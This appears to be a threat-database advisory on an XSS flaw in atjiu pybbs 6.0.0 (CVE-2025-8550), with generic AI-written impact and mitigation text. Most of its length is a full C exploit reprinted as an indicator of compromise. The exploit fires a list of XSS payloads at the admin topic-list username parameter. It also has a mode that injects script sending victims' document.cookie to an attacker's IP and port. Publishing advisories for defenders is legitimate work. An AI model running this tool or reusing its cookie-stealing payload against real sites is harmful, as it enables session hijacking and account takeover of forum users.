atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)
atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)
AI Analysis
Technical Summary
The security threat pertains to a Cross Site Scripting (XSS) vulnerability in atjiu pybbs version 6.0.0, a web-based bulletin board system. XSS vulnerabilities occur when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to inject malicious scripts that execute in the context of other users' browsers. This can lead to session hijacking, defacement, or redirection to malicious sites. The exploit is documented in Exploit-DB (ID 52400) and includes proof-of-concept code written in the C programming language, indicating that the exploit might be designed to automate or facilitate injection attacks against vulnerable instances of pybbs 6.0.0. Although no specific affected versions are listed beyond 6.0.0, the vulnerability is confirmed for that release. No official patches or fixes are referenced, and there are no known exploits in the wild at the time of reporting. The absence of a CVSS score requires an independent severity assessment. Given that XSS vulnerabilities typically require user interaction (victim must visit a maliciously crafted page or link) and do not directly compromise server integrity or availability, the impact is primarily on confidentiality and user trust. However, the presence of exploit code in C suggests the possibility of automated or scalable exploitation attempts.
Potential Impact
For European organizations using atjiu pybbs 6.0.0, this XSS vulnerability poses risks primarily to the confidentiality and integrity of user sessions and data. Attackers could leverage the vulnerability to steal authentication cookies, perform actions on behalf of users, or deliver malware through the bulletin board interface. This could lead to unauthorized access to sensitive discussions or user data, reputational damage, and potential compliance issues under GDPR if personal data is compromised. Since pybbs is a web forum system, organizations relying on it for internal or external communications could face disruptions in trust and user engagement. The threat is more pronounced for organizations with public-facing forums or those with high user interaction. The lack of known active exploitation reduces immediate risk but does not eliminate the potential for targeted attacks, especially as exploit code is publicly available.
Mitigation Recommendations
Organizations should immediately audit their use of pybbs and verify if version 6.0.0 is deployed. If so, they should consider upgrading to a patched version if available or apply custom input validation and output encoding to all user-supplied data displayed on the forum. Implement Content Security Policy (CSP) headers to restrict script execution and reduce XSS impact. Regularly scan web applications with specialized tools to detect XSS vulnerabilities. Educate users about the risks of clicking suspicious links and monitor forum activity for unusual behavior. Network-level protections such as Web Application Firewalls (WAFs) can be tuned to detect and block typical XSS payloads. Since no official patch is referenced, organizations might need to engage with the vendor or community for fixes or apply temporary mitigations until an update is released.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: /* * Exploit Title : atjiu pybbs 6.0.0 - Cross Site Scripting (XSS) * Exploit Author: Byte Reaper * Vendor Homepage: https://github.com/atjiu/pybbs * Tested on: Kali Linux * CVE: CVE-2025-8550 * ------------------------------------------------------------------------------------------------------------------------------------ */ #include <stdio.h> #include <curl/curl.h> #include <pthread.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <dirent.h> #include <unistd.h> #include <ctype.h> #include <arpa/inet.h> #define FULL_URL 3500 #define FULL_PAYLOAD_URL 9000 #define BUFFER_SIZE 6000 int selCookie = 0; const char *cookies = NULL; const char *baseurl = NULL; const char *nameFileC= NULL; int cookiesPayload = 0; const char *ip = NULL; int port = 0; int verbose = 0; int serchServer_alt() { printf("\e[0;35m============================================ [SEARCH PROCESS] ============================================\e[0m\n"); const char *nameProcess[] = { "python", "apache2", "python3", "mysql", NULL }; DIR *d = opendir("/proc"); if (!d) return 1; struct dirent *entry; while ((entry = readdir(d)) != NULL) { if (!isdigit(entry->d_name[0])) continue; char cmdpath[256]; snprintf(cmdpath, sizeof(cmdpath), "/proc/%s/comm", entry->d_name); FILE *f = fopen(cmdpath, "r"); if (!f) continue; char comm[256]; if (fgets(comm, sizeof(comm), f)) { for (int i = 0; nameProcess[i]; i++) { if (strstr(comm, nameProcess[i])) { printf("\e[0;34m[+] Process found: %s (PID: %s)\e[0m\n", nameProcess[i], entry->d_name); closedir(d); return 0; } } } fclose(f); } closedir(d); return 1; printf("\e[0;35m==========================================================================================================\e[0m\n"); } void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } void nanoSleep(void) { struct timespec ob; ob.tv_sec = 0; ob.tv_nsec = 500 * 1000 * 1000; __asm__ volatile ( "mov $230, %%rax\n\t" "mov $1, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "mov %0, %%rdx\n\t" "xor %%r10, %%r10\n\t" "syscall\n\t" : : "r"(&ob) : "rax", "rdi", "rsi", "rdx", "r10", "memory" ); } const char *payloads[] = { "<script>alert(1)</script>", "\"><img src=x onerror=alert(1)>", "<svg onload=alert(1)>", "<body onload=alert(1)>", "<iframe src=\"javascript:alert(1)\"></iframe>", "<a href=\"#\" onclick=\"alert(1)\">click</a>", "<math><mi xlink:href=\"javascript:alert(1)\">XSS</mi></math>", "<svg><script>alert(1)</script></svg>", "\"><iframe srcdoc=\"<script>alert(1)</script>\"></iframe>", "<img src=\"x\" onerror=\"javascript:alert(1)\">", "<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>", "<script>Function('al'+'ert(1)')()</script>", "<script>(([]+[])[+[]]+([][[]]+[])[+!+[]])[1]+''[1]</script>", "<object data=\"javascript:alert(1)\"></object>", "<video><source onerror=\"alert(1)\"></video>", "<link rel=\"stylesheet\" href=\"javascript:alert(1)\">", "<form onformdata=alert(1)><input></form>", "<isindex type=image src=1 onerror=alert(1)>", "<details open ontoggle=alert(1)>", "<img src=x onerror=alert(1)>", "javascript:alert`1`", "javascript:alert(1)", "<script src=data:text/javascript,alert(1)></script>", NULL }; const char *wordPayloadXss[] = { "<script>", "onerror=", "onload=", "alert(", "javascript:", "<svg", "fetch(", "document.cookie", "srcdoc=", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void cookieSend(const char *ipServer, int portY, const char *urlCP) { CURL *curl = curl_easy_init(); CURLcode res; struct Mem responsePayload ; responsePayload.buffer = NULL; responsePayload.len = 0; printf("\e[0;35m================================================================ [COOKIE PAYLOAD] ================================================================\e[0m\n"); if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exitSyscall(); } if (curl) { char full[FULL_PAYLOAD_URL]; if (!port) { portY = 80; printf("\e[0;34m[+] Default Port -> %d\e[0m\n", portY); } unsigned long format; format = inet_addr(ipServer); if (format == INADDR_NONE) { printf("\e[0;31m[-] Invalid IP address string.\e[0m\n"); exitSyscall(); } else { printf("\e[0;34m[+] IP ADDRESS : %s\e[0m\n", ipServer); } char server[BUFFER_SIZE]; if (!server) { fprintf(stderr, "\e[0;31m[-] Error allocating memory!\e[0m\n"); exitSyscall(); } int lenS = snprintf(server, BUFFER_SIZE, "<script>new Image().src='http://%s:%d/steal?c='+encodeURIComponent(document.cookie);</script>", ipServer, portY); if (checkLen(lenS, server, BUFFER_SIZE) == 1) { printf("[-] Error write base url in FULL URL !\e[0m\n"); exitSyscall(); } printf("\e[0;34m[+] Write Your IP And Port successfully in Payload.\e[0m\n"); printf("\e[0;34m[+] Full Payload Format steals cookies : %s\e[0m\n", server); char *encodePayloadCookie = curl_easy_escape(curl, server, strlen(server)); if (!encodePayloadCookie) { printf("\e[0;31m[-] Error Encode Payload !\n"); exitSyscall(); } printf("[+] Encode Payload : %s\n", encodePayloadCookie); int lenSC = snprintf(full, FULL_PAYLOAD_URL, "%s/admin/topic/list?startDate=&endDate=&username=%s", urlCP, encodePayloadCookie); if (checkLen(lenSC, full, FULL_PAYLOAD_URL) == 1) { printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n"); exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responsePayload); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); h = curl_slist_append(h, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Upgrade-Insecure-Requests: 1"); h = curl_slist_append(h, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); curl_free(encodePayloadCookie); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n", httpCode); printf("\e[0;36m[+] Payload Injection successfully.\e[0m\n"); printf("\e[0;36m[+] Please Check Your Server.\e[0m\n"); } else { printf("[-] Payload Injection Failed !\e[0m\n"); printf("[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (responsePayload.buffer) { free(responsePayload.buffer); responsePayload.buffer = NULL; responsePayload.len = 0; } printf("\e[0;35m==================================================================================================================================================\e[0m\n"); } int sendRequest(const char *url) { char full[FULL_URL]; struct Mem response; CURL *curl = curl_easy_init(); if (curl == NULL || !curl) { printf("\e[0;31m[-] Error Create Objetc CURL !\e[0m\n"); exitSyscall(); } CURLcode res; response.buffer= NULL; response.len = 0; if (response.buffer == NULL && response.len == 0) { printf("\e[0;33m[+] Clean Response Buffer successfully.\e[0m\n"); printf("\e[0;33m[+] Response Buffer -> NULL\e[0m\n"); printf("\e[0;33m[+] Response Len -> 0\e[0m\n"); } else { printf("\e[0;31m[-] Cleaning Buffer and len did not work !\e[0m\n"); } int finish = 0; for (int p = 0 ; payloads[p] != NULL; p++) { char *encodePayload = curl_easy_escape(curl, payloads[p], strlen(payloads[p])); if (encodePayload == NULL || !encodePayload) { printf("\e[0;31m[-] Error Encode Payload !\n"); exitSyscall(); } printf("\e[0;34m[+] Encode Payload successfully.\e[0m\n"); printf("\e[0;34m[+] Original Payload : %s\e[0m\n", payloads[p]); printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encodePayload); int len = snprintf(full, sizeof(full), "%s/admin/topic/list?startDate=&endDate=&username=%s", url, encodePayload); if (checkLen(len, full, sizeof(full)) == 1) { printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n"); printf("\e[0;31m[-] LEN FULL URL : %d\e[0m\n", len); exitSyscall(); } printf("[+] FULL URL : %s\n", full); curl_easy_setopt(curl, CURLOPT_URL, full); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); char referer[3500]; int refLen = snprintf(referer, sizeof(referer), "Referer: %s", full); if (checkLen(refLen, referer, sizeof(referer)) == 1) { printf("\e[0;31m[-] Error write Header Referer Content !\e[0m\n"); printf("\e[0;31m[-] Default Header Referer : http://exemple.com\e[0m\n"); h = curl_slist_append(h, "Referer : http://exemple.com"); exitSyscall(); } else { printf("\e[0;34m[+] Write Header Referer Content successfully.\e[0m\n"); printf("\e[0;34m[+] Header Referer : %s\e[0m\n", referer); h = curl_slist_append(h, referer); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); curl_free(encodePayload); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;37m--------------------------------------------------------------------------------------------------------\e[0m\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { if (response.buffer) { printf("\e[1;37m\n======================================== [Response ] ========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[Len] : %zu\e[0m\n", response.len); printf("\e[1;37m\n=============================================================================================\e[0m\n"); } } for (int w = 0; wordPayloadXss[w] != NULL; w++) { if (strstr(response.buffer, wordPayloadXss[w]) != NULL) { printf("\e[0;36m[+] Word Found in Response : %s\n", wordPayloadXss[w]); if (response.buffer) { printf("\e[1;35m==================================== [WORD FOUND RESPONSE] ====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===============================================================================================\e[0m\n\n"); } else { printf("[-] Response Is NULL, Exit ...\n"); exitSyscall(); } } else { if (verbose) { printf("\e[0;31m[-] Word Not Found In Response %s\e[0m\n", wordPayloadXss[w]); } if (wordPayloadXss[w] == NULL) { printf("\e[0;31m[-] Not Found Word In Response !\e[0m\n"); finish = 1; } } } } else { printf("\e[0;31m[-] Negative response code (%ld)!\e[0m\n", httpCode); } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } return finish; } void *thread_routine(void *arg) { int finish = sendRequest((const char *)arg); return (void *)(intptr_t)finish; } void runThread(const char *urlT) { int valeuF = sendRequest(urlT); pthread_t thread; for (int u = 0; valeuF == 1; u++) { if (valeuF == 1) { pthread_exit(NULL); } if (pthread_create(&thread, NULL, thread_routine, (void *)urlT) == 0) { printf("\e[0;32m[+] Pthread Create successfully.\e[0m\n"); } else { printf("\e[0;31m[-] Pthread Create Faild !\e[0m\n"); } sleep(2); printf("\e[0;32m[+] Sleep 2 s...\n"); pthread_cancel(thread); if (pthread_join(thread, NULL) == 0) { printf("\e[0;32m[+] Pthread Join successfully.\e[0m\n"); } else { if (verbose) { printf("\e[0;31m[-] Pthread Join Faild !\e[0m\n"); } } } } int main(int argc, const char **argv) { printf( "\e[0;31m" "░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░██████ ░████████ ░████████ ░████ \n" "░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" "░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░███████ ░███████ ░██ ░████ \n" "░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██████ ░██ ░██ ░██░██░██ \n" "░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ \n" "░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" "░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██████ ░██████ ░██████ ░████ \n" "\e[0;37m\t\t\t\t\t\t\t\t\t\t\t\t\t\tByte Reaper\e[0m\n" ); printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (http://<TARGET>)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('k', "cokpay", &cookiesPayload, "Arg For Send Request steals cookies (-k (NULL))"), OPT_STRING('i', "ip", &ip, "Enter Your Ip Server"), OPT_INTEGER('p', "port", &port, "Enter Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); serchServer_alt(); if (!baseurl) { printf("\e[1;31m[-] Please Enter target Url !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE-2025-8550 -u http://<TARGET>\e[0m\n"); exitSyscall(); } if (nameFileC) { selCookie = 1; } if (verbose) { verbose = 1; } if (cookieSend && ip && port) { cookieSend(ip, port, baseurl); } else { printf("[-] Please Enter Ip And Port !\e[0m\n"); } runThread(baseurl); curl_global_cleanup(); return 0; }
atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)
Description
atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)
AI-Powered Analysis
Technical Analysis
The security threat pertains to a Cross Site Scripting (XSS) vulnerability in atjiu pybbs version 6.0.0, a web-based bulletin board system. XSS vulnerabilities occur when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to inject malicious scripts that execute in the context of other users' browsers. This can lead to session hijacking, defacement, or redirection to malicious sites. The exploit is documented in Exploit-DB (ID 52400) and includes proof-of-concept code written in the C programming language, indicating that the exploit might be designed to automate or facilitate injection attacks against vulnerable instances of pybbs 6.0.0. Although no specific affected versions are listed beyond 6.0.0, the vulnerability is confirmed for that release. No official patches or fixes are referenced, and there are no known exploits in the wild at the time of reporting. The absence of a CVSS score requires an independent severity assessment. Given that XSS vulnerabilities typically require user interaction (victim must visit a maliciously crafted page or link) and do not directly compromise server integrity or availability, the impact is primarily on confidentiality and user trust. However, the presence of exploit code in C suggests the possibility of automated or scalable exploitation attempts.
Potential Impact
For European organizations using atjiu pybbs 6.0.0, this XSS vulnerability poses risks primarily to the confidentiality and integrity of user sessions and data. Attackers could leverage the vulnerability to steal authentication cookies, perform actions on behalf of users, or deliver malware through the bulletin board interface. This could lead to unauthorized access to sensitive discussions or user data, reputational damage, and potential compliance issues under GDPR if personal data is compromised. Since pybbs is a web forum system, organizations relying on it for internal or external communications could face disruptions in trust and user engagement. The threat is more pronounced for organizations with public-facing forums or those with high user interaction. The lack of known active exploitation reduces immediate risk but does not eliminate the potential for targeted attacks, especially as exploit code is publicly available.
Mitigation Recommendations
Organizations should immediately audit their use of pybbs and verify if version 6.0.0 is deployed. If so, they should consider upgrading to a patched version if available or apply custom input validation and output encoding to all user-supplied data displayed on the forum. Implement Content Security Policy (CSP) headers to restrict script execution and reduce XSS impact. Regularly scan web applications with specialized tools to detect XSS vulnerabilities. Educate users about the risks of clicking suspicious links and monitor forum activity for unusual behavior. Network-level protections such as Web Application Firewalls (WAFs) can be tuned to detect and block typical XSS payloads. Since no official patch is referenced, organizations might need to engage with the vendor or community for fixes or apply temporary mitigations until an update is released.
Affected Countries
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Technical Details
- Edb Id
- 52400
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)
/* * Exploit Title : atjiu pybbs 6.0.0 - Cross Site Scripting (XSS) * Exploit Author: Byte Reaper * Vendor Homepage: https://github.com/atjiu/pybbs * Tested on: Kali Linux * CVE: CVE-2025-8550 * ------------------------------------------------------------------------------------------------------------------------------------ */ #include <stdio.h> #include <curl/curl.h> #include <pthread.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <dirent.h... (22714 more characters)
Threat ID: 689a95b8ad5a09ad002b099e
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 8/12/2025, 1:18:16 AM
Last updated: 8/12/2025, 4:33:21 AM
Views: 4
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MediumActions
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